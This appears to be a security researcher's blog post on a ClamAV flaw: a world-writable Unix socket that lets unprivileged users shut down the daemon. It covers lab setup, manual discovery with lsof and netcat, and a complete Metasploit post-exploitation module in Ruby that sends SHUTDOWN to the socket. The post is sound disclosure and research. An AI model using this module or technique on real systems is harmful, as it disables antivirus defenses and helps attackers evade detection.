Disabling ClamAV as an Unprivileged User
About The Project
ClamAV is an Open Source antivirus engine that is widely used on mail servers to scan incoming messages. On February 15, 2023 ClamAV published a security advisory detailing a potential remote code execution vulnerability in its HFS+ file parser. This vulnerability was given the CVE identifier of CVE-2023-20032. While reading about this vulnerability, I stumbled across an open pull request indicating that its possible for non-privileged users to disable clamav. This blog post explores the underlying bug, how to disable ClamAV manually, and finally building a Metasploit module to automate this process.
More Eyes Leads to Bug Discovery
When reading about CVEs, and associated bugs in a given piece of software, its not-uncommon to discover additional bugs. As the industry saw with CVE-2022-44228(Log4Shell), some patches were incomplete leading to continued exploitation of the Log4J library during December of 2021 and additional CVEs (1,2,3). For Open Source software, this is especially true given that the code is easily available for researchers/sysadmins/developers/etc… to look at. Exploring open pull requests within clamav, led to discovering an existing pull request with an interesting title of “Check for root user when processing SHUTDOWN command.” Immediately, this captured my attention as typically any anti-virus solution runs as a privileged user and disabling this outright as a non-privileged user is a pretty nasty vulnerability. For the ATT&CK aficionados reading today this is T1562.001, Impair Defenses: Disable or Modify Tools. The image below shows this bug originally being discovered and reported by Todd Rinaldo. After reading this PR and examining the issue we’re left with the following question “if I, as an unprivileged user can shutoff the daemon, can I do….anything else?”. Lets explore!
Creating The Environment
ClamAV is available in the majority of repositories for Linux distributions. Simple installing with your package manager should lead you to setting up an environment described below. For my demonstration, I’ll be using Vagrant to create a clean Arch Linux environment to test with. This is accomplished with the following commands below.
$> vagrant box add archlinux/archlinux;
$> vagrant init; // Create Vagrant template
$> vagrant up; // start Archlinux vm
$> vagrant ssh; // login to newly created machine
Next, we’ll sync the package database and install ClamAV.
$> pacman -Syy; // sync packages
$> pacman -Ss clamav;
extra/clamav 1.0.0-1
Anti-virus toolkit for Unix
$> pacman -S clamav; // install clamav
Now that ClamAV is installed, the next step is to execute the freshclam
command to download the latest signatures before starting the daemon.
$> sudo freshclam;
$> sudo clamd; //manually starting the service, you could also leverage systemd to start this.
At this point, a fresh environment within vagrant has been established to poke at ClamAV.
Examining The Bug
According to the pull request, any user can interact with the ClamAV socket to disable the daemon.
With clamd
, the ClamAV daemon running in the background we’ll explore open files this process has to identify the attack surface.
$> lsof -p `pidof clamav`
The lsof command lists open files of a given process, user, etc… depending on user specified flags.
The command above will list all open files for a given process id. The string captures within the backticks of pidof clamav
will return a integer indicating the process id of clamav, and then give the open files of the process. The abbreivated image below shows a unix socket, hmmmmmmm let’s investigate further!
As a refresher, sockets are a form of communication on Linux. Typically, when talking about sockets, one tends to think about network communication, AF_INET sockets are used for network based communication. However, Unix sockets enable the developer to use the same type of syscalls (read/write/etc…) for achieving interprocess communication without listening on a port and handling all of the additional overhead of sending data over a network connection. Just like poking at open ports with netcat, we can also leverage netcat to interact with unix sockets and start understanding our attack surface with ClamAV.
Next steps, lets see the file permissions on this socket file.
Whoa! look at that, the file permissions permit ANYONE to read or write to this file. Thus, a non-privileged user will be able to issue commands such as SHUTDOWN to result in disabling ClamAV scanning. Additional commands that can be executed can be seen via man clamd
. The image below demonstrates achieving shutting off the ClamAV daemon manually via netcat.
The crux of the issue is a user needs be able to trigger file scans, thus writing to this domain socket is required. Typically this functionality is triggered through clamscan. However, there’s no restrictions on what commands can be executed by an end user. Therefore, commands that result in disabling default behavior (ex: shutdown) should require elevated permissions, and that is exactly what the pull request is addressing.
Automating The Exploitation
The Metasploit framework contains an auxiliary module for executing commands against the ClamAV daemon if the daemon is listening on an interface (AF_INET socket). However, in this situation we want to execute against a unix socket, with less than 60 lines of Ruby, we have a new post-execution module that is captured below and in my repo as well.
require "socket"
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Disable ClamAV',
'Description' => %q{
This module will write to the ClamAV Unix socket to shutoff ClamAV.
},
'License' => MSF_LICENSE,
'Author' => [
'DLL_Cool_J'
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_separator
]
}
}
)
)
register_options(
[
OptString.new("CLAMAV_UNIX_SOCKET", [true, "ClamAV unix socket", "/run/clamav/clamd.ctl" ]),
], self.class
)
end
def run
clamav_socket = datastore['CLAMAV_UNIX_SOCKET']
print_status("Checking file path #{clamav_socket} exists and is writable... ")
if writable?("#{clamav_socket}")
print_good("File does exist and is writable!")
Socket.unix("/run/clamav/clamd.ctl") do |sock|
print_status("Shutting down ClamAV!")
sock.write("SHUTDOWN")
end
return true
end
end
Beyond The Blog
When reading about CVEs in Open Source software, checking open issues and pull requests may lead to more interesting discoveries. For bug hunting/vulnerability research, the journey of researching one given bug may lead to a fun new discovery. If you enjoyed this blog, reading No Starch Press’ A Bug Hunter’s Diary may also be something you find interesting. Thank you for reading, please consider sharing if you found this blog informative.
Update
The metasploit module described above was merged into Metasploit’s master branch after some revisions. The full exchange can be seen here.